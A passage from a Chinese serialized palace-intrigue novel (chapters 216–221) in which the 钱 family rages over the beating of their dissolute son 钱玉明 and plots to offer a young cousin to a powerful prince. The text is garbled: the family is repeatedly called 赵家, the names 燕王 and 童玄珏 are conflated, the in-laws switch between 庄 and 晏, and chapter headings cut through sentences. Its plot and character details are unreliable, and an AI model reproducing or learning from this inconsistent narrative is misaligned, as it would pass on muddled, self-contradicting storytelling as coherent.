他的这个外甥,看似冷酷无情,实则比谁都重情。 他所做的一切,不过是为了保护自己,保护那些他在乎的人。 景元帝长叹一声,目光深邃而悠远。狂风裹挟着令人作呕的血腥味,沉闷地压在钱府上空,像一块巨大的黑布,闷得人喘不过气。大夫进进出出,脸色一个比一个难看,可钱玉明杀猪般的嚎叫,却一声高过一声。 钱玉明的生母韦氏,早就没了平日里的端庄,她脸色煞白,双手紧紧攥着帕子,指节泛白,手上血管根根凸显。一会儿哭天抢地,一会儿又像是要把满腔的怨愤发泄出来,把屋里伺候的丫鬟婆子、连带平日里跟在钱玉明身边的小厮,统统拖出去,按在院子里,让他们跪在尖锐的碎瓷片上。 “哎呦……我的亲娘……疼死我了……” 钱玉明疼得声音都变了调,像是一只被踩了尾巴的猫。 韦氏再也忍不住,冲到床边,颤抖着手,指着钱玉明的鼻子尖声骂道: “你个小畜生!平日里惹是生非也就算了,这回可好,你竟敢惹到那阎王爷头上去了!” 她此刻仪态尽失,帕子早就被泪水浸透,紧紧攥在手心里。 这话像一把尖刀,狠狠扎在了钱老夫人的心窝子上。她平日里把这个唯一的孙子看得比眼珠子还重要,捧在心尖上怕融化,宝贝太金贵舍不得放手。 “呸!你个黑心烂肝的毒妇!我老婆子还没死呢,你就开始咒我孙儿了?” 钱老夫人气得浑身哆嗦,手里的鸠头玉杖“咚咚咚”地敲着地面,发出沉闷的声响。她颤巍巍地抬起手,指着韦氏,一口浓痰啐了过去, “我老婆子今天把话撂在这儿,玉儿要是有个三长两短,老婆子我第一个不饶你! 第二百一十六章 ” 韦氏被这一口浓痰啐得身子一僵,脸上火辣辣的,满腹的委屈却无处诉说。婆母平日里积威甚重,她不敢顶撞,只得低垂着头,任由泪水无声地滑落。 “娘,您这话说的,儿媳哪是那个意思……” 她声音嘶哑,带着浓浓的哭腔, “您也不是不知道,这小畜生平日里闯了多少祸!可您瞧瞧他这回干的好事,他这是要翻天啊!” 韦氏越说越急,声音都开始发颤, “童玄珏,那可是童玄珏啊!跺一跺脚,京城都得抖三抖的人物!别说燕王了,就是皇上见了他,也得客客气气的!” 她顿了顿,声音里带了一丝绝望, “你说说,好端端的,玉儿他怎么就落到童玄珏手里了?还……还被打成这副模样,这……这简直是要我们赵家的命啊!” 韦氏心里跟明镜似的,自己这儿子平日里有多能惹是生非。从前那些乱七八糟的事儿,赵家家大业大,还能勉强遮掩过去。可如今,这事儿是彻底遮掩不住了。 童玄珏…… 韦氏只觉得眼前一阵阵发黑。 她再也支撑不住,“扑通”一声跪倒在床边,双手死死抓住床沿,指甲都快要抠进木头里,哭得撕心裂肺,像是要把心肝脾肺都给哭出来。 “老爷,您可算回来了!” 突然,门外传来一阵急促的脚步声,紧接着,钱玉明的父亲钱守德,黑着一张脸,大步走了进来。他手里拎着一根足有成年男子胳膊粗的棍子,二话不说,照着钱玉明劈头盖脸就要打。 “老爷!使不得啊!” 韦氏吓得魂飞魄散,尖叫一声,连滚带爬地扑过去,死死抱住钱守德的腰,哭喊道: “大佬这是要闹哪样?玉儿他……他可是您的亲骨肉啊!” “滚开!你个头发长见识短的蠢妇!” 钱守德怒吼,额头上青筋暴起,一把将韦氏推开, “慈母多败儿!都怪你平日里骄纵溺爱,才把他养成这副无法无天的模样!” “我今儿非打死他不可!省得他日后再惹出什么弥天大祸,把整个赵家都给赔进去!” “爹……爹……别打……哎呦……疼……” 钱玉明疼得五官扭曲,杀猪般地嚎叫起来, “不孝有三,无后为大!您打死我,赵家可就绝后了!” 他这话不说还好,一说更是火上浇油。钱守德气得浑身发抖,手臂上的血管清晰可见。钱玉明自恃是赵家独苗,料定他不敢真下狠手。 “好啊!你个不知死活的孽障!” 钱守德气得咬牙切齿,平日里的那副儒雅模样早已荡然无存, “我赵家怎么就出了你这么个不肖子孙!我告诉你,就算赵家绝后,也比毁在你手里强!” 他高高举起手中的棍子,眼看着就要狠狠落下—— “住手!你要打就先打死我!” 千钧一发之际,钱老夫人颤巍巍地拄着鸠头玉杖,挡在了钱玉明的身前。 “玉儿可是咱们赵家的命根子!你要是敢动他一根汗毛,老婆子我……我就跟你拼了!” 她老泪纵横,浑浊的眼中满是决绝,一边哭骂,一边剧烈地喘息着。 “你个老不死的,给我闪开!”钱守德怒吼。 “我不!除非我死了!”钱老夫人寸步不让。 “娘……” 韦氏也顾不得害怕了,“噗通”一声跪倒在钱守德的脚边,死死抱住他的腿,哭得肝肠寸断, “老爷,玉儿他再怎么不对,可他也是您的亲儿子啊!您就忍心眼睁睁地看着他被打死吗?” 她抬起头,泪眼婆娑地望着钱守德,声音嘶哑: “大夫都说了,玉儿伤得不轻,能不能保住命都难说……您就饶了他这一回吧!” 钱守德看着哭成一团的婆媳二人,高举的棍子缓缓落了下来。他颓然地叹了口气,无力地捏了捏眉心,只觉得一阵阵头痛欲裂。 “孽子!你给我老老实实交代,到底是怎么招惹上燕王的?” 钱守德深吸一口气,强压下心中的怒火,声音低沉沙哑: “我警告你,你要是再敢有一句隐瞒,就别怪我不念父子之情!” 童玄珏是什么人,钱守德心里清楚。虽说他平日里冷酷无情,但也不会无缘无故地对一个晚辈下如此重手。定是钱玉明做了什么人神共愤的事情! “说!别逼我动手!”钱守德厉声喝道。 钱玉明吓得浑身一哆嗦,他原本还想狡辩几句,可见钱守德这副模样,知道再也瞒不过去了,只得硬着头皮,将事情的来龙去脉,一五一十地交代了个清楚。“我……我真不知道她是燕王的人啊!” 钱玉明的声音像是被砂纸碾过,每一个字都带着细碎的哭腔,他挣扎着想从床上爬起来,却牵动了伤处,疼得呲牙咧嘴,额头上冒出豆大的汗珠。 “我就是……就是看她生得美貌,想、想……” 他吞吞吐吐,眼神闪烁,不敢去看钱守德那要吃人一般的眼神, “多说了几句好听的话……哄了哄她……仅此、而已……谁能想到,会、会惹出这样大的祸事!” 他越说声音越小,最后几个字几乎微不可闻。 “孽障!你还敢狡辩!” 钱守德气得浑身发抖,额角青筋暴起,像一条条扭动的蚯蚓,他一把揪住钱玉明的衣领,几乎要把他从床上提起来, “赵家……迟早要毁在你的手里!” “闭嘴!” 他咬牙切齿,每一个字都像是从牙缝里挤出来的, “我让你闭嘴!听见没有!” 钱守德的手背上青筋根根绽出,指节因为用力而发白,手上的力道越来越大。 他喘着粗气,胸口剧烈起伏,像是要爆炸一般。 “前些年,你闯的那些祸事,哪一件……不是我们赵家低声下气,到处求爷爷告奶奶,替你善后的?!” 他顿了顿,死死盯着钱玉明, “你姑母……你姑母在庄家,这些年过得是什么日子?你心里没数吗!还不是因为你这个不争气的东西,一而再再而三地给她添乱!” 钱守德猛地一甩手,像是要把手中的污秽甩掉。钱玉明被甩得在床上滚了一圈,撞到床柱上,发出一声闷哼。 他深吸一口气,努力平复着自己的情绪,不让自己被怒火冲昏头脑, “好不容易……靠着你姑父和燕王殿下的人脉关系,费尽心思,在户部给你买了个官职,你是怎么答应我的?啊?你说过什么?!” 他的声音陡然拔高,震得人耳膜嗡嗡作响, “你说过……再也不惹是生非!这才过了几天安生日子,你就又故态复萌,惹出这等滔天大祸! 第二百一十七章 你是存心要气死我吗?!” 钱守德只觉得眼前阵阵发黑,胸口一阵闷痛。 赵家这些年看似风光,实则早已是强弩之末。 外人只道赵家富甲一方,却不知这泼天的富贵背后,是怎样的如履薄冰,每一步都走得战战兢兢。 更何况,还有澜王府那个填不满的无底洞,像个吸血的蚂蟥一样,牢牢地吸附在赵家身上。 想到这里,钱守德只觉得一阵心力交瘁, 这些年为了堵那个窟窿,为了钱玉明这个孽障,他不知操碎了多少心,熬白了多少头发,头发都一把一把地掉。 他颓然地跌坐在椅子上,无力地揉着突突直跳的太阳穴, “这些年,咱们贴给澜王府的银子,还少吗?啊?!那一箱箱抬出去的,可都是咱们赵家的血汗钱!可结果呢?还不都是为了保住这个畜生的一条狗命!” 钱守德越说越激动,声音也越来越嘶哑。 他心里清楚,皇子夺嫡,这就是一场豪赌,押对了,自然是泼天富贵,可若是押错了…… 想到那些因为站错队而家破人亡的世家大族,钱守德就忍不住打了个寒颤,后背一阵发凉。 他们赵家,不过是商贾出身,在这场权力的游戏中,不过是一枚微不足道的棋子,随时都可能被碾碎。 可偏偏……偏偏这枚棋子,还是个不听话的! 他痛心疾首,恨不得把钱玉明塞回娘胎里重造。 赵家这一脉,人丁实在太过单薄。 他的长子,曾经是他最大的骄傲,也是赵家未来的希望,可惜……天妒英才,早早地就去了,每每想起都让他心痛不已。 几个兄弟,也都是膝下无子。 唯一还算子孙兴旺的,就只有嫁出去的小妹钱雅芝,但终究不是自家人。 可钱守德心里也明白,外甥再好,终究隔了一层,靠不住。 “老爷……” 韦氏看着丈夫这副模样,心里也有些发慌,眼泪止不住地往下流。 她小心翼翼地开口,想要劝慰几句,却又不知道该说些什么。 “你住口!” 钱守德却猛地转头,厉声打断了她,眼睛里布满了血丝。 他看向韦氏和钱老夫人,眼中满是失望和愤怒, “你们……你们妇道人家,懂什么!” “成日里只知道家长里短,只知道和那些个女人勾心斗角,你们哪里知道外头的凶险?!” 钱老夫人被钱守德吼得一愣, 她颤颤巍巍地举起手中的鸠头玉杖,指着钱守德,半晌说不出话来, “你……你……” 她气得浑身发抖, “混账东西!你竟敢这样跟你娘说话!反了天了!” 她喘着粗气, “燕王殿下收了咱们赵家的银子,自然会护着玉儿!这是天经地义的事情!拿人钱财,替人消灾!” 钱老夫人深吸一口气,努力让自己平静下来, “再说了,你妹生的那群娃,哪个不是人中龙凤?景少爷就不用多说了,那是板上钉钉的状元之才,远哥儿明年乡试,也定能金榜题名,庄家后继有人。” “妹夫靠不住,还有外甥呢!” 钱老夫人说到这里,脸上露出一丝得意的神色,仿佛看到了赵家光明的未来, “咱们赵家,也不是没人!” 只是,这话里的底气,却多少有些不足,更像是自我安慰。 她心里也清楚,外孙再好,终究不是亲孙。 若是赵家也能像庄家那样,子孙满堂,枝繁叶茂,何至于像现在这样,战战兢兢,如履薄冰? “娘,您说得对,可外头的那些人,哪里是那么好相与的?” 钱守德叹了口气,语气缓和了一些, “您想想,咱们这些年送出去的银子,哪一次不是有去无回?那些人,一个个都是喂不熟的白眼狼!” 他顿了顿,继续说道, “玉明这次惹的祸,可不是小事。燕王是什么人?那可是……那可是……” 钱守德想了半天,也没想出一个合适的词来形容燕王,只觉得一阵无力。 “老爷,您也别太忧心了。” 韦氏也在一旁帮腔,她虽然平日里和钱老夫人一样,只关心内宅的事情,但也知道这次的事情非同小可。 她轻轻地拍着钱守德的背,柔声说道, “几个孩子都大了,总能帮衬着家里一些。” “玥玥和芸芸模样周正,性子也好,将来定能寻个好人家。还有阿清,虽说不是咱们房里的,但也是赵家的姑娘,二房那边说,这孩子出落得越发水灵,将来也能说门好亲事。” 她小心翼翼地观察着钱守德的脸色,见他没有发怒,才继续说道, “男孩子们争气,闺女们都能找到如意郎君,咱们赵家和庄家,一荣俱荣,一损俱损,庄家总不能眼睁睁看着咱们赵家落败吧?” 韦氏的话,算是说到了钱老夫人的心坎里。 这些年,赵家和庄家互相扶持,早已是密不可分。在她们看来,只要两家联手,就一定能度过难关。 可她们不知道的是,钱守德心里想的,却远不止这些。 他想要的,不仅仅是赵家的安稳,更是赵家的未来。 而这个未来,绝不能寄托在一个不争气的儿子,和一群靠不住的亲戚身上。 “妇人之见!” 钱守德猛地一挥袖子,站起身来, “你们懂什么!” “头发长见识短!” 他实在不愿再跟她们多费口舌。 赵家和庄家的关系,远比她们想象的要复杂得多。 那些所谓的亲情,在利益面前,根本不堪一击。 钱守德心里明白,赵家之所以跟庄家纠缠不清,之所以隔三岔五就要往庄家送银子,绝不仅仅是因为所谓的姻亲关系。 更深层的原因,是钱玉明这个孽障,做的孽太多,被人抓住了把柄,不得不低头。 那些银子,与其说是孝敬燕王,帮助妹妹,不如说是花钱消灾,破财免难! 这些年,钱守德费尽心思,想要让钱玉明改邪归正。 他甚至不惜放下身段,去求那些曾经被钱玉明欺辱过的人家。 可结果呢? 钱玉明依旧死性不改,变本加厉。 想到这里,钱守德就觉得一阵绝望。 他看着眼前的母亲和妻子,心中充满了悲哀。 她们只看到了眼前的蝇头小利,却看不到赵家即将面临的灭顶之灾。 “你们……你们就继续惯着他吧!” 钱守德的声音嘶哑而绝望, “迟早有一天,你们会后悔的!” 他指着床上的钱玉明, “这个孽障,他就是个祸害!他会把整个赵家都拖进地狱!” 钱守德越说越激动, 他猛地冲过去,对着钱玉明又是一阵拳打脚踢。 “别打了!别打了!老爷,您这是要打死他啊! 第二百一十八章 ” 韦氏哭喊着,想要阻止钱守德,却被他一把推开。 钱老夫人也急了, 她顾不得自己的老胳膊老腿,扑上去抱住钱守德的腿, “你这个不孝子!你给我住手!你这是要造反啊!” 钱守德却像是疯了一样,根本不理会她们的哭喊。 他只想打死这个孽障,打死这个祸害! “啊……” 钱玉明发出一声惨叫, 他蜷缩在地上,抱着头,像一只受伤的野兽。 “够了!” 钱守德终于停下了手,他喘着粗气,看着地上的钱玉明, “我告诉你,这次的事情,没那么容易解决!” “燕王……燕王不是好惹的!” 他顿了顿,声音里充满了恐惧, “他要的是你的命!” 钱守德的话,像一道惊雷,劈在了钱老夫人和韦氏的心头。 她们一下子愣住了,停止了哭喊。 “燕王……他……他真的要玉儿的命?” 钱老夫人颤抖着声音问道, “他……他不是燕王殿下的外甥吗?怎么会……怎么会……” 她实在无法理解,为什么燕王会如此狠心,要对自己的表弟痛下杀手。 “外甥?” 钱守德冷笑一声, “在皇家,哪有什么亲情可言?只有利益!” 他想起澜王府传来的口信,心中一阵悲凉。 那口信里,虽然没有明说,但字里行间,都透露出一个意思: 燕王保不住钱玉明了。 钱守德知道,这意味着什么。 这意味着,赵家……完了。 他看着钱老夫人, “娘,您别再天真了!燕王殿下自身都难保,更别说保玉儿了。” 他惨笑一声, “您以为,燕王会因为咱们是燕王姻亲就放过咱们吗?不会!他只会杀鸡儆猴,斩草除根!让那些摇摆不定的人看看,跟燕王作对的下场!” 钱老夫人一下子瘫坐在地上。 她终于明白,自己一直以来,都活在一个虚幻的梦里。 那个梦里,赵家和庄家亲如一家,燕王殿下英明神武,赵家子孙兴旺,一切都那么美好。 可现在,梦醒了。 只剩下残酷的现实。“童玄珏再怎么横,还能越过燕王殿下去?” 钱老夫人猛地一拍桌子,茶盏都跳了跳。 她全然不顾儿子、儿媳骤变的脸色,厉声道: “皇上再偏心,也得有个度!我们赵家又不是泥捏的,任谁都能踩一脚!” “娘!” 韦氏吓得声音都变了调,一把拽住钱老夫人的胳膊,指尖发白。 “您小点声!这话可不敢乱说!” 她急得直跺脚,额角渗出细密的汗珠。 这要是传出去,赵家还活不活了? 韦氏再蠢也明白,有些事心里想想就得了,拿到台面上说,那就是大祸! 赵家、庄家,还有那高高在上的澜王府,可都是绑在一块儿的,谁也跑不了。 钱守德的脸色已经不能看了。 黑沉沉的,像暴风雨前的天。 可他总不能冲亲娘发火,只好拿眼刀子剜向自家婆娘。 “平日里怎么跟你交代的?提醒你让母亲低调做人!你都当耳旁风了?” 他压着嗓子低吼,胸口剧烈起伏。 韦氏委屈得不行。 这老太太混不吝,跟她有什么关系? 她一个做小辈的,还能把婆婆的嘴给缝上? 钱守德见她不说话,知道这事儿也怪不得她,转头看向钱老夫人。 “娘,跟您说不明白!那童玄珏就是个疯子!皇上都得让他三分!” 钱守德觉得自己快要炸了,他现在只想一个人静静。 “玉儿这次吃了亏,谁知道那疯子下一步要干嘛?万一……” 他不敢想,更不敢说。 钱老夫人听了这话,哪还坐得住。 身子一晃,差点没直接晕过去。 “这日子没法过了!赵家怎么摊上这种事了,要遭这样的罪!” 她捶胸顿足,老泪纵横。 钱守德觉得自己一个头两个大。 “娘,您别哭了!哭有什么用?” 他这话刚出口,就见钱老夫人一屁股坐在地上,两腿一蹬,开始撒泼。 “我不活了!让我死了算了!我活着还有什么意思!” “玉儿他大哥去的早,玉儿再有个三长两短,我们赵家可就绝后了!” 钱老夫人的哭嚎声一声高过一声,听得钱守德太阳穴突突直跳。 他算是看明白了,跟自家老娘讲道理,那就是对牛弹琴! 他算是怕了这老太太了,每次家里出了事,都是这一哭二闹三上吊的戏码。 可偏偏,这老太太吃软不吃硬,你越跟她来硬的,她越来劲。 钱守德深吸一口气,强压下心头的烦躁。 韦氏在一旁看着,心里跟明镜似的。 这老太太,说白了就是欺软怕硬。 她眼珠子一转,计上心来。 “老爷,您先别急。” 韦氏上前一步,轻轻拉了拉钱守德的衣袖,柔声说道: “这事儿……或许还有转机。” 钱守德看向她,示意她继续说。 “燕王殿下,平日里也没见他和哪个女子亲近。这回为了个姑娘大动干戈,怕是动了心思。” 韦氏的声音压得极低,几乎只有他们两人能听见。 “咱家的姑娘,自然是不能往火坑里推的。”她顿了顿, 飞快地补充了一句。 钱守德脸色稍霁,但还是没好气地问:“那你有什么主意?” “既然燕王殿下好美色,咱们就投其所好。”韦氏嘴角勾起一抹意味深长的笑。 “难不成……你想让你娘家侄女进宫?”钱守德皱眉,他可不想跟马家再扯上什么关系。 “老爷想到哪儿去了!”韦氏嗔怪地瞪了他一眼。 钱守德看着她,眼神冷冷的。 他等了这么久,可不是为了听这些废话的。 韦氏见状,连忙正色道: “老爷,您还记不记得,庄家还有个适龄的姑娘,叫阿清,说是前些日子才回的京。” 钱守德听她提起庄家,脸色更加难看。 他刚想开口,韦氏就抢先说道:“老爷您先别急,我可没说要让咱们家的姑娘去冒险!” “庄家那个阿清,听说生得极美,又是个没根基的。这种人,燕王才不会顾忌。” 韦氏说得头头是道,钱守德的脸色却越来越阴沉。 “你这是要让庄家把女儿送给童玄珏?他们能同意?” 钱守德冷笑一声,觉得这简直是天方夜谭。 “有什么不同意的?能攀上燕王,那是他们的福气!” 钱老夫人突然插了一句,声音尖锐刺耳。 她挣扎着从地上爬起来,指着钱守德的鼻子骂道: “你个没良心的东西!玉儿可是你的亲儿子!你就不心疼?” “我不管!你现在就去庄家,让他们把那个阿清交出来!” 钱守德被她吼得脑仁疼。 “娘!您能不能别添乱了!” 他怒吼一声,再也控制不住自己的情绪。 第二百一十九章 “您以为庄家是傻子?他们凭什么听咱们的?” “再说了,您就不怕把事情闹大了,到时候更不好收场?” 钱老夫人被他吼得一愣,随即又开始撒泼打滚。 “我不管!我不管!我就要玉儿平平安安的!” “你要是不去,我就……我就死给你看!” 钱守德看着在地上打滚的钱老夫人,只觉得一阵无力。 他疲惫地闭上眼睛,挥了挥手: “都别说了,让我静一静……”韦氏眼风扫过钱守德和钱老夫人,见二人脸上并无异样,这才放下心来。 她清了清嗓子,继续说道:“我可是听说,阿清那丫头如今长大了,出落的那叫一个水灵,说句不夸张的,比那画里的狐仙儿还勾人呢!比起燕王殿下看上的那位,怕是只强不弱。” 至于害得钱玉明挨了一顿揍的女子姓甚名谁,韦氏压根儿不清楚。 她只知道对方生了一张祸国殃民的脸。 可那又怎么样? 这世上有几个男人不好色? 只要能找出个更狐媚的,她就不信童玄珏那杀千刀的能把持得住。 钱玉明垂着头,一声不吭。 钱老夫人一想起四年前那个瘦骨嶙峋、像只被霜打了的猫儿似的晏清澜,心里就一阵膈应。 “什么阿清不阿清的,还狐仙儿?我看呐,八成是那些人瞎说!” 钱老夫人边说边撇嘴,一脸的嫌弃。 “这妹子从小就是个弱鸡,连庄家那个没名没分的庶女都比不上,还想勾搭燕王?做什么春秋大梦呢!” 虽说长大了颜值能逆天改命,可晏清澜小时候那副病恹恹的样子,实在让人印象深刻。 钱老夫人是打心眼儿里不相信,那个唯唯诺缩的病秧子,如今能变成个迷倒众生的美人。 韦氏赶忙上前扶住钱老夫人,眼珠子骨碌碌一转。 她笑着握住钱老夫人的手,轻轻拍着她的手背,安抚道:“娘,您这话说的。外头那些人嚼舌根的话不能信,难道二弟妹的话还能有假不成?” 有一次,罗氏闲聊时随口提了一句,说是晏清澜如今长得那叫一个俊俏。 说者无意,听者有心。 韦氏可是一直把这话记在心里呢。 她抬眼,飞快地瞟了一眼正低头琢磨的钱守德,又看了看钱老夫人。 “二弟妹这个人多么难伺候,您又不是不知道。” “连她都能真心实意地夸阿清好看,那阿清得漂亮成什么样儿啊,您说是不是?” 如今庄家,晏芸清那个死丫头已经跟人定了亲,晏玥玥那是要送去给燕王韩承煜做妾的,晏清萦不过是个上不得台面的庶女,根本入不了眼。 这么算下来,最合适的人选,也就只剩下晏清澜了。 钱老夫人却不以为然,她不耐烦地挥了挥手: “我才不管那些乱七八糟的,我但求玉儿平安。其他的,我一概不管。” 至于那些弯弯绕绕的心思,钱老夫人根本懒得去想。 她只知道,钱玉明是赵家的宝贝疙瘩,绝不能出半点差错。 关于要舍弃哪个孙女的问题,她才不在乎。 说白了,在钱老夫人眼里,女孩子的生死存亡,根本不值一提。 想当初,钱雅芝还没嫁人的时候,钱老夫人也曾把她当成心头肉。可后来,钱雅芝接连生了几个赔钱货,钱老夫人对她的态度就大不如前了。 更何况,钱雅芝跟庄家那老头子搅合在一起,更是让钱老夫人心生厌恶。 至于说孙女、外孙女这些,到底不是从她肚子里爬出来的,是死是活,与她何干? 钱守德紧锁眉头,似是在思索着什么。 过了半晌,他才缓缓抬起头,目光如炬地盯着韦氏: “你真以为,小妹会为了玉儿,把自己亲闺女推出去?” 钱雅芝对晏清澜的厌恶,钱守德是知道的。 可即便如此,钱守德也不认为钱雅芝会狠心到把晏清澜推进火坑。毕竟血浓于水,更何况庄家家风严谨,岂会为了荣华富贵牺牲家人? 韦氏闻言,不由得嗤笑一声: “老爷,您这话说的,好像是咱们逼着小妹,拿阿清去顶罪似的。” 她顿了顿,话锋一转,语气变得意味深长起来: “之前不是都商量好了,燕王殿下权势滔天,若是阿清能得他青眼,那庄家也能跟着鸡犬升天。” “这可是天大的好事,小妹怎么会想不通呢?” 韦氏看着钱守德,笑得意味深长。 钱守德又不是傻子,哪能听不懂她话里的意思? 什么庄家跟着鸡犬升天,不过都是幌子罢了。 说到底,还不是为了攀附权贵。 若是真能借着晏清澜搭上澜王府这艘大船,燕王在夺嫡之争中,胜算岂不是更大? 人为财死,鸟为食亡。 在这泼天的富贵面前,搭上一个闺女,又能如何? 钱守德深深地看了韦氏一眼,没有立刻答应,也没有直接拒绝。 他微微垂下眼帘,盯着自己的鞋尖,语气平淡地说道: “这事……以后再说吧,我得好好考虑考虑。” 韦氏见状,嘴角勾起一抹得意的弧度。 她心里明白,钱守德这么说,其实就等于默认了。 相濡以沫这么久,这点共识倒是达成了。 唯独钱老夫人,上了年纪,脑子也有些糊涂了。 她一听钱守德没有一口应承下来,顿时就不高兴了。 钱老夫人刚想开口说些什么,却被钱守德一个冷厉的眼神给吓了回去。 她只得硬生生把话咽了回去,不敢再多嘴。 韦氏心思一转,忽然想起赵芊芊和晏清澜一同生活了四年。 若是能从赵芊芊口中探听到一些关于晏清澜的秘密,岂不是更好? 她眼神闪过一丝狡黠,眸子里闪过一丝精明的光芒,脸上的笑容也变得有些虚伪。 她突然转变了话题,说道:“说起来,我前些日子得了一串南海进贡的粉色珍珠,那颜色我戴着有些轻浮,不如送给芊芊那丫头把玩。” 她一边说着,顺手拢了拢衣袖,随手拨动着帘子上悬挂的串珠,这才转身走了出去。 --- 韦氏回到自己的房间,立刻吩咐丫鬟准备热水和冰块,好给她那张红肿的脸消肿。 她又仔细地往脸上扑了一层厚厚的脂粉,直到看不出丝毫异样,这才迈步朝二房院落行去。 一路走到后花园,正要从一个月洞门穿过去的时候,迎面撞上了钱清雪。 钱清雪穿着一件洗得发白的旧衣裳,头上只戴了两根简单的银簪子,整个人看上去有些落魄。 韦氏一见到她这副模样,心头的怒火就“腾”地一下冒了出来。 赵家又不缺银子,她也从未短缺过这个女儿的吃穿用度。 第二百二十章 可偏偏,钱清雪就爱打扮成这样来给她添堵,简直是存心跟她作对! 韦氏心里的那股火气,本就未曾散去。 如今又撞见钱清雪,自然是气不打一处来。 她眉头紧锁,尖细的眼睛上下打量着钱清雪,语气不善地问道: “你这是从哪儿鬼混回来了?你亲哥伤得这么惨,你难道一点儿都不关心?” 钱清雪的表情依旧冷若冰霜,眼神里透着一股与她这个年龄不相符的淡漠。 她只是冷冷地瞥了韦氏一眼,语气冰冷地说道: “我为何要关心他?他又不是我打伤的。” 好一句“不是我打伤的”! 韦氏差点儿被她这话给气晕过去。 她冷笑一声,声音里带着几分尖酸刻薄: “我真是白疼这个女儿了!亲哥身负重伤,你不说去看看,反倒在这儿说风凉话,你还有没有良心?” 然而,这些话对钱清雪来说,根本就起不了任何作用。 她眼神冷漠得像寒冬腊月里的冰碴子,语气里没有一丝温度: “他配让我在意吗?每次都是他惹是生非,然后让我们来替他擦屁股。我凭什么要关心他?” “哦?是吗?”韦氏突然逼近钱清雪,话里带着嘲讽,“看来你很讨厌你哥哥?” 钱清雪也提高了声音:“没错!我就是讨厌他!我堂堂正正做人,被他连累得名声扫地,难道我不该讨厌他吗?”钱清雪也曾是娇养的闺阁千金,明珠美玉般的人物。 小姑娘家,哪个不爱俏? 七八岁时,她也曾粉裙玉琢,对镜簪花,喜不自胜。 可这一切,都随着钱玉明日渐歪斜的身影,变了颜色。 赵家大公子,吃喝嫖赌,不务正业。 钱清雪的心,也跟着一点点冷硬。 曾经那个娇憨的小姑娘,如今眉眼间只剩一片冷寂。 偌大的屋子,寻不出一件像样的摆设,衣裳也是半旧不新,首饰也尽是些朴素的银器。 十五岁,花一样的年纪,本该是含苞待放,她却像一朵还未盛开就已枯萎的花,失了颜色,也失了生气。 韦氏被她的话噎得心口发闷,竟是半晌都寻不出反驳的言语。 钱清雪所言非虚,她的确是被钱玉明拖累了。 韦氏心头泛起一阵苦涩,终是忍不住替儿子辩解: “可他到底是你嫡亲的兄长,血脉相连,这是断不了的。” 她缓了口气,声音低了下去。 “他如今伤重如此,生死未卜,你做妹妹的,就算心里有再大的怨气,也该去瞧瞧他才是,不然让外人怎么看我们赵家?” 韦氏心里跟明镜似的,这些年,钱玉明在外闯的那些祸事,早已成了压在赵家人心头的一块块巨石。 尤其是钱清雪,亲事之上更是艰难。 高门大户,哪个看得上这般乌烟瘴气的赵家? 对于那帮惦记赵家资产的,内里又都是烂透了的草包。 想到这,韦氏对女儿的愧疚如潮水般涌上心头,几乎要将她淹没。 只是,再愧疚,也抵不过钱玉明在她心中的分量。 钱清雪听了,眼皮子都没撩一下,只冷冷地瞥了韦氏一眼,仿佛在看一个陌生人。 “这样的兄长,我宁愿不认。” 她嘴角微勾,露出一丝讥诮,这笑里,却寻不到半点温度。 “他成日在外惹是生非,将我们赵家的脸面都丢尽了,我若是他,还不如……” 钱清雪微微垂眸,没再说下去,只是盯着韦氏,语气冰冷得没有一丝温度。 “一头碰死,倒也干净。” 这几个字,像从冰窖里捞出来似的,寒气逼人,扎得韦氏心口一阵钝痛。 她猛地想起自己早夭的长子,悲痛、愤怒,种种情绪交织在一起,如山洪般爆发。 “你个不孝女!” 韦氏再也忍不住,扬手,一巴掌掴在钱清雪脸上。 “这位可是你的亲兄长!你不想着他好,反倒在这儿说这些丧气话,你的良心呢?被狗吃了吗!” 钱清雪被打得一个趔趄,险些摔倒,白皙的脸颊上,顿时浮现出五道鲜红的指痕。 可她,竟连眉头都没皱一下,仿佛被打的不是她。 眼中没有半分情绪起伏,没有委屈,没有怨恨,更没有一丝一毫的不解。 只是静静地站着,冷冷地看着韦氏,像一尊没有感情的白玉雕像。 韦氏被她看得心里发毛,原本还想再说些什么,此刻却如鲠在喉,一个字也吐不出来。 钱清雪却开了口,声音很轻,却带着刺: “护着吧,你们就紧着护着他。” 她冷笑,眼神里透着毫不掩饰的讥讽。 “钱玉明这些年造的孽还少吗?真以为能瞒天过海?” 她顿了顿,声音压得极低,像是从牙缝里挤出来的。 “人在做,天在看,总有一天……” 钱清雪话音未落,突然,一阵阴风刮过,吹得院子里的树叶哗啦啦作响。 原本就阴沉沉的天色,越发暗了下来,像是随时都会有倾盆大雨落下。 韦氏一个激灵,不由自主地打了个寒颤。 钱清雪却像是没事人似的,绕过韦氏,头也不回地朝东边走去。 韦氏气得浑身发抖,想要叫住她,可张了张嘴,却什么也没说出来。 这鬼天气,还有这死丫头说得那些话…… 韦氏心里一阵发毛,总觉得有什么不好的事情要发生。 她深吸几口气,努力让自己镇定下来,随即迈步朝赵芊芊的小院行去。 赵芊芊远远瞧见韦氏的身影,心里暗自嘀咕: ‘这大房的人,又来做什么?准没好事!’ 面上,她却不敢有丝毫怠慢,连忙起身相迎,笑容满面地行礼问安。 “大伯母,您怎么来了?” 又忙不迭地吩咐丫鬟: “快,去把我前儿得的那雨前龙井拿出来,给大伯母泡上一壶。” 韦氏笑着落座,朝身后的丫鬟使了个眼色。 丫鬟会意,将一个用锦缎盖着的托盘放在桌上。 韦氏揭开锦缎,里面竟是一整套的红宝石头面,在略显昏暗的房间里,闪着耀眼的光芒。 “芊芊啊,你看看,这套头面,喜不喜欢?” 韦氏拿起一支红宝石发簪,细细打量着赵芊芊。 赵芊芊心里冷笑,‘这是又想拿什么东西来收买我?’ 当初她教训钱玉明的时候,这位大伯母,可是鼻子不是鼻子,眼睛不是眼睛的,恨不得把她生吞活剥了。 如今倒好,变脸比翻书还快。 赵芊芊心里转着念头,面上却不动声色,只是垂眸,掩去眼底的嘲讽。 “大伯母,您这是做什么?” 她故作惊讶地推辞。 “这……这也太贵重了,我可不敢收。” 韦氏却不容她拒绝,直接将发簪插在她发间。 “这有什么不敢收的? 第二百二十一章 你是小辈,长辈赏你东西,只管接着就是。” 她上下打量着赵芊芊,连连点头。 “好看,真好看,这红宝石,衬得我们芊芊越发明艳动人了。” 赵芊芊干笑两声,心里却越发警惕。 她可不信,这位大伯母会平白无故地对她这么好。 “说起来,你那阿柔姐姐,也是个不省心的。” 韦氏突然话锋一转,提起钱清雪。 “整日里素面朝天,连个首饰都不爱戴,白瞎了那张好脸。” 她叹了口气,又道: 